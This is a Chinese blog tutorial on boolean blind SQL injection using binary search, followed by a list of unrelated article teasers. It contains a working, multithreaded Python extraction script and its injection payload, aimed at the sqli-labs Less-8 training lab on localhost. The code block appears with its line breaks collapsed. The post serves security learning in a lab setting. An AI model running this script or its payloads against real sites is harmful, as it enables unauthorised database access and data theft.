当前位置: 首页 > news >正文

利用二分法进行 SQL 盲注

什么是sql注入?

SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下,服务器不会直接返回查询结果,而是通过布尔值(True/False)或时间延迟等方式提供间接反馈,这类攻击被称为 盲注(Blind SQL Injection)

布尔盲注代码

import requests
import concurrent.futuresdef binary_search_character(url, query, index, low=32, high=127):while low < high:mid = (low + high + 1) // 2payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "res = {"id": payload}r = requests.get(url, params=res)if "You are in.........." in r.text:low = midelse:high = mid - 1return chr(low) if low > 32 else ''def extract_data(url, query, max_length=200):extracted_data = [''] * max_lengthwith concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}for future in concurrent.futures.as_completed(future_to_index):index = future_to_index[future]try:result = future.result()if result:extracted_data[index - 1] = resultprint(f": {''.join(extracted_data).strip()}")except Exception as exc:print(f"Error extracting character {index}: {exc}")return ''.join(extracted_data).strip()if __name__ == '__main__':url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'database_name = extract_data(url, "SELECT database()")print(f"数据库名: {database_name}")table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"table_names = extract_data(url, table_name_query)print(f"表名: {table_names}")table_name = table_names.split(',')[0]column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"column_names = extract_data(url, column_name_query)print(f"列名: {column_names}")column_name = column_names.split(',')[1]data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"extracted_values = extract_data(url, data_query)print(f"数据: {extracted_values}")print(f"数据库名: {database_name}")print(f"表名: {table_names}")print(f"列名: {column_names}")print(f"数据: {extracted_values}")

代码主要内容

(1)二分法查找单个字符

while low < high:mid = (low + high + 1) // 2
  • 采用二分查找方法,缩小可能的 ASCII 码范围。

SQL 注入 Payload:

payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "
  • SUBSTRING(({query}),{index},1): 取出 SQL 结果的第 index 个字符。
  • ASCII(...): 获取该字符的 ASCII 码。
  • >= {mid}: 判断该字符的 ASCII 是否大于等于 mid

(2)并发优化数据提取

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
  • 使用 ThreadPoolExecutor 并发执行多个字符的爆破,提高速度。
future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}
  • 提交多个任务,每个任务负责获取 SQL 结果中的某个字符。

攻击流程

  1. 获取数据库名
    database_name = extract_data(url, "SELECT database()")
    
  2. 获取表名
    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    
  3. 获取列名
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    
  4. 提取数据
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    

代码优化:

1. 并发优化

  • 使用 ThreadPoolExecutor 并发执行查询,同时获取多个字符,提高数据提取效率。
  • 减少等待时间:相比单线程依次查询每个字符,多线程可以同时进行多个查询,加快数据恢复。

2. 自动化数据提取

  • 从数据库名到数据内容,全程自动化
    • 依次提取数据库名、表名、列名、数据,无需手动输入 SQL 语句,提高攻击自动化程度。

效果展示(使用sqli-labs靶场的第8关)

相关文章:

利用二分法进行 SQL 盲注

什么是sql注入&#xff1f; SQL 注入&#xff08;SQL Injection&#xff09;是一种常见的 Web 安全漏洞&#xff0c;攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下&#xff0c;服务器不会直接返回查询结果&#xff0c;而是通过布尔值&#xff08;Tr…...

如何通过 bugreport 分析 Android 系统日志?

&#x1f4e2; 1. 职业规划篇 来聊聊安卓职业规划&#xff1f;整机开发大专能做么&#xff1f; &#x1f4e2; 2.基础篇 基础篇.前言 基础篇.编译环境搭建 基础篇.源码目录简介 基础篇.系统 mk_bp 讲解 基础篇.开机动画定制 基础篇.定制桌面壁纸、导航方式 基础篇.系统属性、ap…...

安防机器人电源解决方案

安防机器人电源方案简介 随着安防机器人领域技术的不断进步,越来越多的新型传感器,特别是激光雷达(光探测与测距)的广泛应用,以及先进的板载AI处理器的加入,使得机器人能够更加安全、智能地与人类进行互动。然而,这也对机器人的电源系统提出了更高的要求。某安防机器人…...

内网穿透的应用-Ubuntu本地Docker搭建pichome文件管理系统打造个人云相册

文章目录 前言1.关于pichome2.本地部署pichome3.简单使用pichome4. 安装内网穿透5.配置pichome公网地址6. 配置固定公网地址 前言 你是不是也经常遇到这样的尴尬&#xff1a;手机、电脑里堆满了照片和视频&#xff0c;想找一张特定的图片时却像在大海捞针一样无从下手&#xf…...

力扣-栈与队列-1047 删除字符串中的所有相邻重复项

思路 利用栈更新紧邻的元素&#xff0c;和要插入的元素作比较 代码 class Solution { public:string removeDuplicates(string s) {if(s.size() < 2) return s;stack<char> st;st.push(s[0]);for(int i 1; i < s.size(); i){if(!st.empty() && s[i] s…...

旅客服务系统(PSS, Passenger Service System)

1. 系统概述 1.1 系统目标 旅客服务系统(PSS)旨在为旅客提供一站式航空服务,涵盖航班信息查询、机票预订、值机办理、行李托运、订单管理、支付集成等功能。系统通过模块化设计和分布式架构,确保高可用性、高性能、可扩展性和安全性,满足航空公司和旅客的多样化需求。 …...

Linux路径中的‘~‘

本文来自DeepSeek 在Linux中&#xff0c;~ 是用户主目录的简写。具体含义如下&#xff1a; 当前用户的主目录&#xff1a; ~ 代表当前登录用户的主目录。例如&#xff0c;用户 alice 的主目录通常是 /home/alice&#xff0c;~ 就指向 /home/alice。 其他用户的主目录&#xff…...

认识网络安全

一 网络攻击链 踩点-工具准备-载荷投递-漏洞利用-释放载荷-建立通道-目标达成 简化下&#xff1a; 目标侦察&#xff1a;准确识别目标&#xff0c;收集目标详细信息&#xff0c;比如 网络、 邮箱、员工、社会关系、对外提供服务、漏洞 信息等&#xff0c;为 后续攻击做准备。…...

信息科技伦理与道德3-3:智能决策

2.3 智能控制 智能控制算法介绍 智能控制算法的优化&#xff1a;性能提升的秘诀 https://blog.csdn.net/universsky2015/article/details/137309308 案例一&#xff1a;特斯拉自动驾驶汽车未能识别白色卡车导致车祸...

以 Python 为工具搭建的热门旅游景点数据分析系统

系统介绍&#xff1a; 随着计算机技术的飞速发展&#xff0c;计算机系统的应用已广泛渗透到社会的各个领域。大数据的大量应用为人们的生活带来了极大的便利。在此背景下&#xff0c;将热门旅游景点数据分析管理与互联网相结合&#xff0c;利用计算机搭建热门旅游景点数据分析…...

ZooKeeper 技术全解:概念、功能、文件系统与主从同步

引言 随着分布式系统变得越来越复杂&#xff0c;对协调服务的需求也在不断增长。ZooKeeper 作为一个由 Apache 维护的开源分布式协调服务框架&#xff0c;广泛用于 Hadoop 生态系统和其他需要协调的分布式环境中。这一系统旨在解决分布式应用中常见的挑战&#xff0c;如配置管…...

Visual Studio Code 的 AI 编程助手

文章目录 1. 写在最前面2. AI 编程助手2.1 Top 10 AI Extensions for Visual Studio Code2.1.1 脑图概括2.1.2 详细介绍 2.2 10 Best AI Code Tools: Quick and Easy Guide (2024)2.2.1 脑图概括2.2.2 详细介绍 3. Cody 插件试用4. 碎碎念5. 参考资料 1. 写在最前面 最近在研究…...

Kafka的ISR是什么,HW是什么,怎么保证可靠性,Kafka怎么实现顺序消息?为什么Kafka的broker上的topic越多,效率越慢?

目录 1. Kafka 的 ISR 是什么 2. Kafka 的 HW 是什么 3. Kafka 如何保证可靠性 4. Kafka 怎么实现顺序消息 5. 为什么 Kafka 的 broker 上的 topic 越多,效率越慢 1. Kafka 的 ISR 是什么 ISR 即 In-Sync Replicas(同步副本集),是 Kafka 中一个重要的概念,用于保障消…...

Ollama系列---【ollama使用gpu运行大模型】

一、安装CudaToolkit 使用控制台命令查看当前显卡驱动中的cuda版本 nvidia-smi 二、下载CudaToolkit 注意&#xff1a;CudaToolkit版本要低于上面的显卡Cuda版本。 Cuda各版本下载地址&#xff1a;CUDA Toolkit Archive | NVIDIA Developer 下载好之后&#xff0c;一路下一步&a…...

使用C语言实现MySQL数据库的增删改查操作指南

使用C语言与MySQL数据库进行交互,通常涉及使用MySQL提供的C API库。这套API允许开发者在C/C++程序中执行SQL查询,从而实现数据库的增删改查操作。下面,我将详细介绍如何在C语言中实现这些基本操作。 准备工作 安装MySQL开发库:确保你的系统上安装了MySQL服务器以及MySQL开发…...

【Golang学习之旅】Go + Redis 缓存设计与优化(项目实战)

文章目录 业务需求1. 缓存设计2. GoRedis代码实现3. 代码解析4. 性能优化 在本节中&#xff0c;我们将通过一个实际的项目案例&#xff0c;演示如何在 Go 中使用 Redis 实现高效的缓存设计与优化。 业务需求 假设我们正在开发一个电商平台&#xff0c;需要缓存商品信息以提高页…...

2、k8s 二进制安装(详细)

k8s 二进制安装 IP规划初始化部署 etcd 集群在 etcd01 节点上操作准备cfssl证书生成工具&#xff0c;加权生成etcd证书上传etcd软件包启动 etcd 服务 部署 Master 组件部署 Worker Node 组件node 节点安装 docker部署组件 部署 CNI 网络组件部署 flannel简介部署 部署 Calico简…...

安卓开发,底部导航栏

1、创建导航栏图标 使用系统自带的矢量图库文件&#xff0c;鼠标右键点击res->New->Vector Asset 修改 Name , Clip art 和 Color 再创建一个 同样的方法再创建四个按钮 2、添加百分比布局依赖 app\build.gradle.kts 中添加百分比布局依赖&#xff0c;并点击Sync Now …...

CWOI-N RER 1 > 2 Solution

CWOI-N RER 1 > 2 Solution 声明&#xff1a;头图为断章取义。 这场比赛得 200 200 200 分是保底&#xff0c;得 300 300 300 分是基操&#xff0c;得 350 350 350 分以上才是实力&#xff08;但不多&#xff09;。 A - 机读卡 No solutions yet. 这题数据倒还不能无…...

字节跳动后端一面

&#x1f4cd;1. Gzip压缩技术详解 Gzip是一种流行的无损数据压缩格式&#xff0c;它使用DEFLATE算法来减少文件大小&#xff0c;广泛应用于网络传输和文件存储中以提高效率。 &#x1f680; 使用场景&#xff1a; • 网站优化&#xff1a;通过压缩HTML、CSS、JavaScript文件来…...

Python爬虫实战:研究MechanicalSoup库相关技术

一、MechanicalSoup 库概述 1.1 库简介 MechanicalSoup 是一个 Python 库,专为自动化交互网站而设计。它结合了 requests 的 HTTP 请求能力和 BeautifulSoup 的 HTML 解析能力,提供了直观的 API,让我们可以像人类用户一样浏览网页、填写表单和提交请求。 1.2 主要功能特点…...

SkyWalking 10.2.0 SWCK 配置过程

SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外&#xff0c;K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案&#xff0c;全安装在K8S群集中。 具体可参…...

CTF show Web 红包题第六弹

提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框&#xff0c;很难让人不联想到SQL注入&#xff0c;但提示都说了不是SQL注入&#xff0c;所以就不往这方面想了 ​ 先查看一下网页源码&#xff0c;发现一段JavaScript代码&#xff0c;有一个关键类ctfs…...

Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?

Golang 面试经典题&#xff1a;map 的 key 可以是什么类型&#xff1f;哪些不可以&#xff1f; 在 Golang 的面试中&#xff0c;map 类型的使用是一个常见的考点&#xff0c;其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

工业安全零事故的智能守护者:一体化AI智能安防平台

前言&#xff1a; 通过AI视觉技术&#xff0c;为船厂提供全面的安全监控解决方案&#xff0c;涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面&#xff0c;能够实现对应负责人反馈机制&#xff0c;并最终实现数据的统计报表。提升船厂…...

多场景 OkHttpClient 管理器 - Android 网络通信解决方案

下面是一个完整的 Android 实现&#xff0c;展示如何创建和管理多个 OkHttpClient 实例&#xff0c;分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...

CMake基础:构建流程详解

目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...

如何为服务器生成TLS证书

TLS&#xff08;Transport Layer Security&#xff09;证书是确保网络通信安全的重要手段&#xff0c;它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书&#xff0c;可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...

uniapp微信小程序视频实时流+pc端预览方案

方案类型技术实现是否免费优点缺点适用场景延迟范围开发复杂度​WebSocket图片帧​定时拍照Base64传输✅ 完全免费无需服务器 纯前端实现高延迟高流量 帧率极低个人demo测试 超低频监控500ms-2s⭐⭐​RTMP推流​TRTC/即构SDK推流❌ 付费方案 &#xff08;部分有免费额度&#x…...

用docker来安装部署freeswitch记录

今天刚才测试一个callcenter的项目&#xff0c;所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...